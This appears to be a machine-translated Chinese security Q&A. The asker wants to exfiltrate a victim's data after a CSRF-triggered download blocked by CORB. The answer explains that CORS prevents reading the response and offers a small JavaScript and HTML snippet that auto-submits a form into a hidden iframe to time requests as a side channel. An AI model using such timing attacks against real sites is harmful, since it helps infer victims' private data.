考虑使用 Content-Type: application/json;charset=UTF-8 标头和 Content-Disposition: Attachment;filename=text.txt 标头的响应,其中 content-disp 标头首先出现,我可以使用 content-disp对我有利的是 CSRF 攻击,它通过将 URL 作为 src 包含在 iframe 中,使文件在受害者计算机上自动下载,但如果我正在执行 fetch,我会被 CORB 阻止,因为响应确实有 application/json,因为内容类型就在那里有什么方法可以将我能够下载到远程服务器的数据
您也许可以欺骗受害者的浏览器发出请求,甚至可能在某处下载响应,但您无法在 Javascript 中访问响应,除非它具有允许这样做的
Access-Control-Allow-Origin
标头。
您最多可以做的是测量请求的运行时间并从中推断出一些东西,使用这样的机制:
var startTime = 0, time;
function tick(ts) {
if (running) {
if (!startTime) startTime = ts;
else time = ts - startTime;
}
requestAnimationFrame(tick);
}
function attack() {
requestAnimationFrame(tick);
document.querySelector('form').submit();
}
<body onload="attack()">
<form action="https://httpbin.org/delay/2" target="target"></form>
<iframe name="target" onload="if (window.running) alert(time); else window.running = true;"></iframe>
</body>